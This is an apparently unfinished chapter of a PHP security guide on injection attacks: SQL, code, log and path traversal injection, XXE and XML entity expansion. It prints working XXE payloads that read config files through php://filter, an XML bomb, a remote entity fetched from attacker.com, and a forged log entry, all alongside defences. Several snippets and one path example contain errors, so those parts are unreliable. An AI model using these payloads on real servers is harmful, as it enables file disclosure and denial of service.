Injection Attacks

The OWASP Top 10 lists Injection and Cross-Site Scripting (XSS) as the most common security risks to web applications. Indeed, they go hand in hand because XSS attacks are contingent on a successful Injection attack. While this is the most obvious partnership, Injection is not just limited to enabling XSS.

Injection is an entire class of attacks that rely on injecting data into a web application in order to facilitate the execution or interpretation of malicious data in an unexpected manner. Examples of attacks within this class include Cross-Site Scripting (XSS), SQL Injection, Header Injection, Log Injection and Full Path Disclosure. I'm scratching the surface here.

This class of attacks is every programmer's bogeyman. They are the most common and successful attacks on the internet due to their numerous types, large attack surface, and the complexity sometimes needed to protect against them. All applications need data from somewhere in order to function. Cross-Site Scripting and UI Redress are, in particular, so common that I've dedicated the next chapter to them and these are usually categorised separately from Injection Attacks as their own class given their significance.

OWASP uses the following definition for Injection Attacks:

Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.

SQL Injection

By far the most common form of Injection Attack is the infamous SQL Injection attack. SQL Injections are not only extremely common but also very deadly. I cannot emphasise enough the importance of understanding this attack, the conditions under which it can be successfully accomplished and the steps required to defend against it.

SQL Injections operate by injecting data into a web appplication which is then used in SQL queries. The data usually comes from untrusted input such as a web form. However, it's also possible that the data comes from another source including the database itself. Programmers will often trust data from their own database believing it to be completely safe without realising

that being safe for one particular usage does not mean it is safe for all other subsequent usages. Data from a database should be treated as untrusted unless proven otherwise, e.g. through validation processes.

If successful, an SQL Injection can manipulate the SQL query being targeted to perform a database operation not intended by the programmer.

Consider the following query:

```
$db = new mysqli('localhost', 'username', 'password', 'storedb');
$result = $db->query(
    'SELECT * FROM transactions WHERE user_id = ' . $_POST['user_id']
);
```

The above has a number of things wrong with it. First of all, we haven't validated the contents of the POST data to ensure it is a valid user_id. Secondly, we are allowing an untrusted source to tell us which user_id to use - an attacker could set any valid user_id they wanted to. Perhaps the user_id was contained in a hidden form field that we believed safe because the web form would not let it be edited (forgetting that attackers can submit anything). Thirdly, we have not escaped the user_id or passed it to the query as a bound parameter which also allows the attacker to inject arbitrary strings that can manipulate the SQL query given we failed to validate it in the first place.

The above three failings are remarkably common in web applications.

As to trusting data from the database, imagine that we searched for transactions using a user_name field. Names are reasonably broad in scope and may include quotes. It's conceivable that an attacker could store an SQL Injection string inside a user name. When we reuse that string in a later query, it would then manipulate the query string if we considered the database a trusted source of data and failed to properly escape or bind it.

Another factor of SQL Injection to pay attention to is that persistent storage need not always occurs on the server. HTML5 supports the use of client side databases which can be queried using SQL with the assistance of Javascript. There are two APIs facilitating this: WebSQL and IndexedDB. WebSQL was deprecated by the W3C in 2010 and is supported by WebKit browsers using SQLite in the backend. It's support in WebKit will likely continue for backwards compatibility purposes even though it is no longer recommended for use. As its name suggests, it accepts SQL queries an may therefore be susceptible to SQL Injection attacks. IndexedDB is the newer alternative but is a NOSQL database (i.e. does not require usage of SQL queries).

SQL Injection Examples

Attempting to manipulate SQL queries may have goals including:

1. Information Leakage
2. Disclosure of stored data
3. Manipulation of stored data
4. Bypassing authorisation controls
5. Client-side SQL Injection

Information Leakage

Disclosure Of Stored Data

Manipulation of Stored Data

Bypassing Authorisation Controls

Defenses Against SQL Injection

Defending against an SQL Injection attack applies the Defense In Depth principle. It should be validated to ensure it is in the correct form we expect before using it in a SQL query and it should be escaped before including it in the query or by including it as a bound parameter.

Validation

Chapter 2 covered Input Validation and, as I then noted, we should assume that all data not created explicitly in the PHP source code of the current request should be considered untrusted. Validate it strictly and reject all failing data. Do not attempt to "fix" data unless making minor cosmetic changes to its format.

Common validation mistakes can include validating the data for its then current use (e.g. for display or calculation purposes) and not accounting for the validation needs of the database table fields which the data will eventually be stored to.

Escaping

Using the mysqli extension, you can escape all data being included in a SQL query using the mysqli_real_escape_string() function. The pgsql extension for PostgresSQL offers the pg_escape_bytea(), pg_escape_identifier(), pg_escape_literal() and pg_escape_string() functions. The mssql (Microsoft SQL Server) offers no escaping functions and the commonly advised addslashes() approach is insufficient - you actually need a custom function [http://stackoverflow.com/questions/574805/how-to-escape-strings-in-mssql-using-php].

Just to give you even more of a headache, you can never ever fail to escape data entering an SQL query. One slip, and it will possibly be vulnerable to SQL Injection.

For the reasons above, escaping is not really recommended. It will do in a pinch and might be necessary if a database library you use for abstraction allows the setting of naked SQL queries or query parts without enforcing parameter binding. Otherwise you should just avoid the need to escape altogether. It's messy, error-prone and differs by database extension.

Parameterised Queries (Prepared Statements)

Parameterisation or Parameter Binding is the recommended way to construct SQL queries and all good database libraries will use this by default. Here is an example using PHP's PDO extension.

```
if(ctype_digit($_POST['id']) && is_int($_POST['id'])) {
    $validatedId = $_POST['id'];
    $pdo = new PDO('mysql:store.db');
    $stmt = $pdo->prepare('SELECT * FROM transactions WHERE user_id = :id');
    $stmt->bindParam(':id', $validatedId, PDO::PARAM_INT);
    $stmt->execute();
} else {
    // reject id value and report error to user
}
```

The bindParam() method available for PDO statements allows you to bind parameters to the placeholders present in the prepared statement and accepts a basic datatype parameter such as PDO::PARAM_INT, PDO::PARAM_BOOL, PDO::PARAM_LOB and PDO::PARAM_STR. This defaults to PDO::PARAM_STR if not given so remember it for other values!

Unlike manual escaping, parameter binding in this fashion (or any other method used by your database library) will correctly escape the data being bound automatically so you don't need to recall which escaping function to use. Using parameter binding consistently is also far more reliable than remembering to manually escape everything.

Enforce Least Privilege Principle

Putting the breaks on a successful SQL Injection is just as important as preventing it from occuring in the first place. Once an attacker gains the ability to execute SQL queries, they will be doing so as a specific database user. The principle of Least Privilege can be enforced by ensuring that all database users are given only those privileges which are absolutely necessary for them in order to complete their intended tasks.

If a database user has significant privileges, an attacker may be able to drop tables and manipulate the privileges of other users under which the attacker can perform other SQL Injections. You should never access the database from a web application as the root or any other highly privileged or administrator level user so as to ensure this can never happen.

Another variant of the Least Privilege principle is to separate the roles of reading and writing data to a database. You would have a user with sufficient privileges to perform writes and another separate user restricted to a read-only role. This degree of task separation ensures that if an SQL Injection targets a read-only user, the attacker cannot write or manipulate table data. This form of compartmentalisation can be extended to limit access even further and so minimise the impact of successful SQL Injection attacks.

Many web applications, particularly open source applications, are specifically designed to use one single database user and that user is almost certainly never checked to see if they are highly privileged or not. Bear the above in mind and don't be tempted to run such applications under an administrative user.

Code Injection (also Remote File Inclusion)

Code Injection refers to any means which allows an attacker to inject source code into a web application such that it is interpreted and executed. This does not apply to code injected into a client of the application, e.g. Javascript, which instead falls under the domain of Cross-Site Scripting (XSS).

The source code can be injected directly from an untrusted input or the web application can be manipulated into loading it from the local filesystem or from an external source such a URL. When a Code Injection occurs as the result of including an external resource it is commonly referred to as a Remote File Inclusion though a RFI attack itself need always be intended to inject code.

The primary causes of Code Injection are Input Validation failures, the inclusion of untrusted input in any context where the input may be evaluated as PHP code, failures to secure source code repositories, failures to exercise caution in downloading third-party libraries, and server misconfigurations which allow non-PHP files to be passed to the PHP interpreter by the web server. Particular attention should be paid to the final point as it means that all files uploaded to the server by untrusted users can pose a significant risk.

Examples of Code Injection

PHP is well known for allowing a myriad of Code Injection targets ensuring that Code Injection remains high on any programmer's watch list.

File Inclusion

The most obvious target for a Code Injection attack are the include(), include_once(), require() and require_once() functions. If untrusted input is allowed to determine the path parameter passed to these functions it is possible to influence which local file will be included. It should be noted that the included file need not be an actual PHP file; any included file that is capable of carrying textual data (e.g. almost anything) is allowed.

The path parameter may also be vulnerable to a Directory Traversal or Remote File Inclusion. Using the ../ or ..(dot-dot-slash) string in a path allows an attacker to navigate to almost any file accessible to the PHP process. The above functions will also accept a URL in PHP's default configuration unless XXX is disabled.

Evaluation

PHP's eval() function accepts a string of PHP code to be executed.

Regular Expression Injection

The PCRE function preg_replace() function in PHP allows for an "e" (PREG_REPLACE_EVAL) modifier which means the replacement string will be evaluated as PHP after subsitution. Untrusted input used in the replacement string could therefore inject PHP code to be executed.

Flawed File Inclusion Logic

Web applications, by definition, will include various files necessary to service any given request. By manipulating the request path or its parameters, it may be possible to provoke the server into including unintended local files by taking advantage of flawed logic in its routing, dependency management, autoloading or other processes.

Such manipulations outside of what the web application was designed to handle can have unforeseen effects. For example, an application might unwittingly expose routes intended only for command line usage. The application may also expose other classes whose constructors perform tasks (not a recommended way to design classes but it happens). Either of these scenarios could interfere with the application's backend operations leading to data manipulation or a potential for Denial Of Service (DOS) attacks on resource intensive operations not intended to be directly accessible.

Server Misconfiguration

Goals of Code Injection

The goal of a Code Injection is extremely broad since it allows the execution of any PHP code of the attacker's choosing.

Defenses against Code Injection

Command Injection

Examples of Command Injection

Defenses against Command Injection

Log Injection (also Log File Injection)

Many applications maintain a range of logs which are often displayable to authorised users from a HTML interface. As a result, they are a prime target for attackers wishing to disguise other attacks, mislead log reviewers, or even mount a subsequent attack on the users of the monitoring application used to read and analyse the logs.

The vulnerability of logs depends on the controls put in place over the writing of logs and ensuring that log data is treated as an untrusted source of data when it comes to performing any monitoring or analysis of the log entries.

A simple log system may write lines of text to a file using file_put_contents(). For example, a programmer might log failed login attempts using a string of the following format:

```
sprintf("Failed login attempt by %s", $username);
```

What if the attacker used a username of the form "AdminnSuccessful login by Adminn"?

If this string, from untrusted input were inserted into the log the attacker would have successfully disguised their failed login attempt as an innocent failure by the Admin user to login. Adding a successful retry attempt makes the data even less suspicious.

Of course, the point here is that an attacker can append all manner of log entries. They can also inject XSS vectors, and even inject characters to mess with the display of the log entries in a console.

Goals of Log Injection

Injection may also target log format interpreters. If an analyser tool uses regular expressions to parse a log entry to break it up into data fields, an injected string could be carefully constructed to ensure the regex matches an injected surplus field instead of the correct field. For example, the following entry might pose a few problems:

```
$username = "iamnothacker! at Mon Jan 01 00:00:00 +1000 2009";
sprintf("Failed login attempt by $s at $s", $username, )
```

More nefarious attacks using Log Injection may attempt to build on a Directory Traversal attack to display a log in a browser. In the right circumstances, injecting PHP code into a log message and calling up the log file in the browser can lead to a successful means of Code Injection which can be carefully formatted and executed at will by the attacker. Enough said there. If an attacker can execute PHP on the server, it's game over and time to hope you have sufficient Defense In Depth to minimise the damage.

Defenses Against Log Injection

The simplest defence against Log Injections is to sanitise any outbound log messages using an allowed characters whitelist. We could, for example, limit all logs to alphanumeric characters and spaces. Messages detected outside of this character list may be construed as being corrupt leading to a log message concerning a potential LFI to notify you of the potential attempt. It's a simple method for simple text logs where including any untrusted input in the message is unavoidable.

A secondary defence may be to encode the untrusted input portion into something like base64 which maintains a limited allowed characters profile while still allowing a wide range of information to be stored in text.

Path Traversal (also Directory Traversal)

Path Traversal (also Directory Traversal) Attacks are attempts to influence backend operations that read from or write to files in the web application by injecting parameters capable of manipulating the file paths employed by the backend operation. As such, this attack is a stepping stone towards successfully attacking the application by facilitating Information Disclosure and Local/Remote File Injection.

We'll cover these subsequent attack types separately but Path Traversal is one of the root vulnerabilities that enables them all. While the functions described below are specific to the concept of manipulating file paths, it bears mentioning that a lot of PHP functions don't simply accept a file path in the traditional sense of the word. Instead functions like `include()` or

`file()` accept a URI in PHP. This seems completely counterintuitive but it means that the following two function calls using absolute file paths (i.e. not relying on autoloading of relative file paths) are equivalent.

```
include('/var/www/vendor/library/Class.php');
include('file:///var/www/vendor/library/Class.php');
```

The point here is that relative path handling aside (`include_path` setting from php.ini and available autoloaders), PHP functions like this are particularly vulnerable to many forms of parameter manipulation including File URI Scheme Substitution where an attacker can inject a HTTP or FTP URI if untrusted data is injected at the start of a file path. We'll cover this in more detail for Remote File Inclusion attacks so, for now, let's focus on filesystem path traversals.

In a Path Traversal vulnerability, the common factor is that the path to a file is manipulated to instead point at a different file. This is commonly achieved by injecting a series of `../` (Dot-Dot-Slash) sequences into an argument that is appended to or inserted whole into a function like `include()`, `require()`, `file_get_contents()` or even less suspicious (for some people) functions such as `DOMDocument::load()`.

The Dot-Dot-Slash sequence allows an attacker to tell the system to navigate or backtrack up to the parent directory. Thus a path such as `/var/www/public/../vendor` actually points to `/var/www/public/vendor`. The Dot-Dot-Slash sequence after `/public` backtracks to that directory's parent, i.e. `/var/www`. As this simple example illustrates, an attacker can use this to access files which lie outside of the `/public` directory that is accessible from the webserver.

Of course, path traversals are not just for backtracking. An attacker can also inject new path elements to access child directories which may be inaccessible from a browser, e.g. due to a `deny from all` directive in a `.htaccess` in the child directory or one of its parents. Filesystem operations from PHP don't care about how Apache or any other webserver is configured to control access to non-public files and directories.

Examples of Path Traversal

Defenses against Path Traversal

XML Injection

Despite the advent of JSON as a lightweight means of communicating data between a server and client, XML remains a viable and popular alternative that is often supported in parallel to JSON by web service APIs. Outside of web services, XML is the foundation of exchanging a

diversity of data using XML schemas such as RSS, Atom, SOAP and RDF, to name but a few of the more common standards.

XML is so ubiquitous that it can also be found in use on the web application server, in browsers as the format of choice for XMLHttpRequest requests and responses, and in browser extensions. Given its widespread use, XML can present an attractive target for XML Injection attacks due to its popularity and the default handling of XML allowed by common XML parsers such as libxml2 which is used by PHP in the `DOM`, `SimpleXML` and `XMLReader` extensions. Where the browser is an active participant in an XML exchange, consideration should be given to XML as a request format where authenticated users, via a Cross-Site Scripting attack, may be submitting XML which is actually written by an attacker.

XML External Entity Injection

Vulnerabilities to an XML External Entity Injection (XXE) exist because XML parsing libraries will often support the use of custom entity references in XML. You'll be familiar with XML's standard complement of entities used to represent special markup characters such as `>`, `<`, and `&apos;`. XML allows you to expand on the standard entity set by defining custom entities within the XML document itself. Custom entities can be defined by including them directly in an optional `DOCTYPE` and the expanded value they represent may reference an external resource to be included. It is this capacity of ordinary XML to carry custom references which can be expanded with the contents of an external resources that gives rise to an XXE vulnerability. Under normal circumstances, untrusted inputs should never be capable of interacting with our system in unanticipated ways and XXE is almost certainly unexpected for most programmers making it an area of particular concern.

For example, let's define a new custom entity called "harmless":

```
<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>
```

An XML document with this entity definition can now refer to the &harmless; entity anywhere where entities are allowed:

```
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless "completely harmless">]>
<results>
    <result>This result is &harmless;</result>
</results>
```

An XML parser such as PHP DOM, when interpreting this XML, will process this custom entity as soon as the document loads so that requesting the relevant text will return the following:

> This result is completely harmless

Custom entities obviously have a benefit in representing repetitive text and XML with shorter named entities. It's actually not that uncommon where the XML must follow a particular grammar and where custom entities make editing simpler. However, in keeping with our theme of not trusting outside inputs, we need to be very careful as to what all the XML our application is consuming is really up to. For example, this one is definitely not of the harmless variety:

```
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]>
<results>
    <result>&harmless;</result>
</results>
```

Depending on the contents of the requested local file, the content could be used when expanding the `&harmless;` entity and the expanded content could then be extracted from the XML parser and included in the web application's output for an attacker to examine, i.e. giving rise to Information Disclosure. The file retrieved will be interpreted as XML unless it avoids the special characters that trigger that interpretation thus making the scope of local file content disclosure limited. If the file is intepreted as XML but does not contain valid XML, an error will be the likely result preventing disclosure of the contents. PHP, however, has a neat "trick" available to bypass this scope limitation and remote HTTP requests can still, obviously, have an impact on the web application even if the returned response cannot be communicated back to the attacker.

PHP offers three frequently used methods of parsing and consuming XML: PHP `DOM`, `SimpleXML` and `XMLReader`. All three of these use the `libxml2` extension and external entity support is enabled by default. As a consequence, PHP has a by-default vulnerability to XXE which makes it extremely easy to miss when considering the security of a web application or an XML consuming library.

You should also remember that XHTML and HTML5 may both be serialised as valid XML which may mean that some XHTML pages or XML-serialised HTML5 could be parsed as XML, e.g. by using `DOMDocument::loadXML()` instead of `DOMDocument::loadHTML()`. Such uses of an XML parser are also vulnerable to XML External Entity Injection. Remember that `libxml2` does not currently even recognise the HTML5 `DOCTYPE` and so cannot validate it as it would for XHTML DOCTYPES.

Examples of XML External Entity Injection

File Content And Information Disclosure

We previously met an example of Information Disclosure by noting that a custom entity in XML could reference an external file.

```
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]>
<results>
    <result>&harmless;</result>
</results>
```

This would expand the custom `&harmless;` entity with the file contents. Since all such requests are done locally, it allows for disclosing the contents of all files that the application has read access to. This would allow attackers to examine files that are not publicly available should the expanded entity be included in the output of the application. The file contents that can be disclosed in this are significantly limited - they must be either XML themselves or a format which won't cause XML parsing to generate errors. This restriction can, however, be completely ignored in PHP:

```
<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY harmless SYSTEM
    "php://filter/read=convert.base64-encode/resource=/var/www/config.ini"
    >
]>
<results>
    <result>&harmless;</result>
</results>
```

PHP allows access to a PHP wrapper in URI form as one of the protocols accepted by common filesystem functions such as `file_get_contents()`, `require()`, `require_once()`, `file()`, `copy()` and many more. The PHP wrapper supports a number of filters which can be run against a given resource so that the results are returned from the function call. In the above case, we use the `convert.base-64-encode` filter on the target file we want to read.

What this means is that an attacker, via an XXE vulnerability, can read any accessible file in PHP regardless of its textual format. All the attacker needs to do is base64 decode the output they receive from the application and they can dissect the contents of a wide range of non-public files with impunity. While this is not itself directly causing harm to end users or the application's backend, it will allow attackers to learn quite a lot about the application they are attempting to map which may allow them to discover other vulnerabilities with a minimum of effort and risk of discovery.

Bypassing Access Controls

Access Controls can be dictated in any number of ways. Since XXE attacks are mounted on the backend to a web application, it will not be possible to use the current user's session to any effect but an attacker can still bypass backend access controls by virtue of making requests from the local server. Consider the following primitive access control:

```
if (isset($_SERVER['HTTP_CLIENT_IP'])
    || isset($_SERVER['HTTP_X_FORWARDED_FOR'])
    || !in_array(@$_SERVER['REMOTE_ADDR'], array(
        '127.0.0.1',
        '::1',
    ))
) {
    header('HTTP/1.0 403 Forbidden');
    exit(
        'You are not allowed to access this file.'
    );
}
```

This snippet of PHP and countless others like it are used to restrict access to certain PHP files to the local server, i.e. localhost. However, an XXE vulnerability in the frontend to the application actually gives an attacker the exact credentials needed to bypass this access control since all HTTP requests by the XML parser will be made from localhost.

```
<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY harmless SYSTEM
    "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php"
    >
]>
<results>
    <result>&harmless;</result>
</results>
```

If log viewing were restricted to local requests, then the attacker may be able to successfully grab the logs anyway. The same thinking applies to maintenance or administration interfaces whose access is restricted in this fashion.

Denial Of Service (DOS)

Almost anything that can dictate how server resources are utilised could feasibly be used to generate a DOS attack. With XML External Entity Injection, an attacker has access to make arbitrary HTTP requests which can be used to exhaust server resources under the right conditions.

See below also for other potential DOS uses of XXE attacks in terms of XML Entity Expansions.

Defenses against XML External Entity Injection

Considering the very attractive benefits of this attack, it might be surprising that the defense is extremely simple. Since `DOM`, `SimpleXML`, and `XMLReader` all rely on `libxml2`, we can simply use the `libxml_disable_entity_loader()` function to disable external entity resolution. This does not disable custom entities which are predefined in a `DOCTYPE` since these do not make use of external resources which require a file system operation or HTTP request.

```
$oldValue = libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml);
libxml_disable_entity_loader($oldValue);
```

You would need to do this for all operations which involve loading XML from a string, file or remote URI.

Where external entities are never required by the application or for the majority of its requests, you can simply disable external resource loading altogether on a more global basis which, in most cases, will be far more preferable to locating all instances of XML loading, bearing in mind many libraries are probably written with innate XXE vulnerabilities present:

```
libxml_disable_entity_loader(true);
```

Just remember to reset this once again to `TRUE` after any temporary enabling of external resource loading. An example of a process which requires external entities in an innocent fashion is rendering Docbook XML into HTML where the XSL styling is dependent on external entities.

This `libxml2` function is not, by an means, a silver bullet. Other extensions and PHP libraries which parse or otherwise handle XML will need to be assessed to locate their “off” switch for external entity resolution.

In the event that the above type of behaviour switching is not possible, you can alternatively check if an XML document declares a `DOCTYPE`. If it does, and external entities are not allowed, you can then simply discard the XML document, denying the untrusted XML access to a potentially vulnerable parser, and log it as a probable attack. If you log attacks this will be a necessary step since there be no other errors or exceptions to catch the attempt. This check should be built into your normal Input Validation routines. However, this is far from ideal and it’s strongly recommended to fix the external entity problem at its source.

```
/**
 * Attempt a quickie detection
 */
$collapsedXML = preg_replace("/[:space:]/", '', $xml);
if(preg_match("/<!DOCTYPE/i", $collapsedXml)) {
    throw new \InvalidArgumentException(
        'Invalid XML: Detected use of illegal DOCTYPE'
    );
}
```

It is also worth considering that it's preferable to simply discard data that we suspect is the result of an attack rather than continuing to process it further. Why continue to engage with something that shows all the signs of being dangerous? Therefore, merging both steps from above has the benefit of proactively ignoring obviously bad data while still protecting you in the event that discarding data is beyond your control (e.g. 3rd-party libraries). Discarding the data entirely becomes far more compelling for another reason stated earlier - `libxml_disable_entity_loader()` does not disable custom entities entirely, only those which reference external resources. This can still enable a related Injection attack called XML Entity Expansion which we will meet next.

XML Entity Expansion

XMl Entity Expansion is somewhat similar to XML Entity Expansion but it focuses primarily on enabling a Denial Of Service (DOS) attack by attempting to exhaust the resources of the target application's server environment. This is achieved in XML Entity Expansion by creating a custom entity definition in the XML's `DOCTYPE` which could, for example, generate a far larger XML structure in memory than the XML's original size would suggest thus allowing these attacks to consume memory resources essential to keeping the web server operating efficiently. This attack also applies to the XML-serialisation of HTML5 which is not currently recognised as HTML by the `libxml2` extension.

Examples of XML Entity Expansion

There are several approaches to expanding XML custom entities to achieve the desired effect of exhausting server resources.

Generic Entity Expansion

Also known as a "Quadratic Blowup Attack", a generic entity expansion attack, a custom entity is defined as an extremely long string. When the entity is used numerous times throughout the document, the entity is expanded each time leading to an XML structure which requires significantly more RAM than the original XML size would suggest.

```
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]>
<results>
    <result>Now include &long; lots of times to expand
    the in-memory size of this XML structure</result>
    <result>&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    Keep it going...
    &long;&long;&long;&long;&long;&long;&long;...</result>
</results>
```

By balancing the size of the custom entity string and the number of uses of the entity within the body of the document, it's possible to create an XML file or string which will be expanded to use up a predictable amount of server RAM. By occupying the server's RAM with repetitive requests of this nature, it would be possible to mount a successful Denial Of Service attack. The downside of the approach is that the initial XML must itself be quite large since the memory consumption is based on a simple multiplier effect.

Recursive Entity Expansion

Where generic entity expansion requires a large XML input, recursive entity expansion packs more punch per byte of input size. It relies on the XML parser to exponentially resolve sets of small entities in such a way that their exponential nature explodes from a much smaller XML input size into something substantially larger. It's quite fitting that this approach is also commonly called an "XML Bomb" or "Billion Laughs Attack".

```
<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY x0 "BOOM!">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!-- Add the remaining sequence from x4...x100 (or boom) -->
    <!ENTITY x99 "&x98;&x98;">
    <!ENTITY boom "&x99;&x99;">
]>
<results>
    <result>Explode in 3...2...1...&boom;</result>
</results>
```

The XML Bomb approach doesn't require a large XML size which might be restricted by the application. It's exponential resolving of the entities results in a final text expansion that is 2^100 times the size of the `&x0;` entity value. That's quite a large and devastating BOOM!

Remote Entity Expansion

Both normal and recursive entity expansion attacks rely on locally defined entities in the XML's DTD but an attacker can also define the entities externally. This obviously requires that the XML parser is capable of making remote HTTP requests which, as we met earlier in describing XML External Entity Injection (XXE), should be disabled for your XML parser as a basic security measure. As a result, defending against XXEs defends against this form of XML Entity Expansion attack.

Nevertheless, the way remote entity expansion works is by leading the XML parser into making remote HTTP requests to fetch the expanded value of the referenced entities. The results will then themselves define other external entities that the XML parser must additionally make HTTP requests for. In this way, a couple of innocent looking requests can rapidly spiral out of control adding strain to the server's available resources with the final result perhaps itself encompassing a recursive entity expansion just to make matters worse.

```
<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml">
]>
<results>
    <result>3..2..1...&cascade<result>
</results>
```

The above also enables a more devious approach to executing a DOS attack should the remote requests be tailored to target the local application or any other application sharing its server resources. This can lead to a self-inflicted DOS attack where attempts to resolve external entities by the XML parser may trigger numerous requests to locally hosted applications thus consuming an even greater propostion of server resources. This method can therefore be used to amplify the impact of our earlier discussion about using XML External Entity Injection (XXE) attacks to perform a DOS attack.

Defenses Against XML Entity Expansion

The obvious defenses here are inherited from our defenses for ordinary XML External Entity (XXE) attacks. We should disable the resolution of custom entities in XML to local files and remote HTTP requests by using the following function which globally applies to all PHP XML extensions that internally use `libxml2`.

```
libxml_disable_entity_loader(true);
```

PHP does, however, have the quirky reputation of not implementing an obvious means of completely disabling the definition of custom entities using an XML DTD via the `DOCTYPE`. PHP does define a `LIBXML_NOENT` constant and there also exists public property `DOMDocument::$substituteEntities` but neither if used has any ameliorating effect. It appears we're stuck with using a makeshift set of workarounds instead.

Nevertheless, `libxml2` does has a built in default intolerance for recursive entity resolution which will light up your error log like a Christmas tree. As such, there's no particular need to implement a specific defense against recursive entities though we should do something anyway on the off chance `libxml2` suffers a relapse.

The primary new danger therefore is the inelegent approach of the Quadratic Blowup Attack or Generic Entity Expansion. This attack requires no remote or local system calls and does not require entity recursion. In fact, the only defense is to either discard XML or sanitise XML where it contains a `DOCTYPE`. Discarding the XML is the safest bet unless use of a `DOCTYPE` is both expected and we received it from a secured trusted source, i.e. we received it over a peer-verified HTTPS connection. Otherwise we need to create some homebrewed logic in the absence of PHP giving us a working option to disable DTDs. Assuming you can called `libxml_disable_entity_loader(TRUE)`, the following will work safely since entity expansion is deferred until the node value infected by the expansion is accessed (which does not happen during this check).

```
$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new \InvalidArgumentException(
            'Invalid XML: Detected use of illegal DOCTYPE'
        );
    }
}
```

The above is, of course, should be backed up by having `libxml_disable_entity_loader` set to `TRUE` so external entity references are not resolved when the XML is initially loaded. Where an XML parser is not reliant on `libxml2` this may be the only defense possible unless that parser has a comprehensive set of options controlling how entities can be resolved.

Where you are intent on using `SimpleXML`, bear in mind that you can import a checked `DOMDocument` object using the `simplexml_import_dom()` function.

SOAP Injection

TBD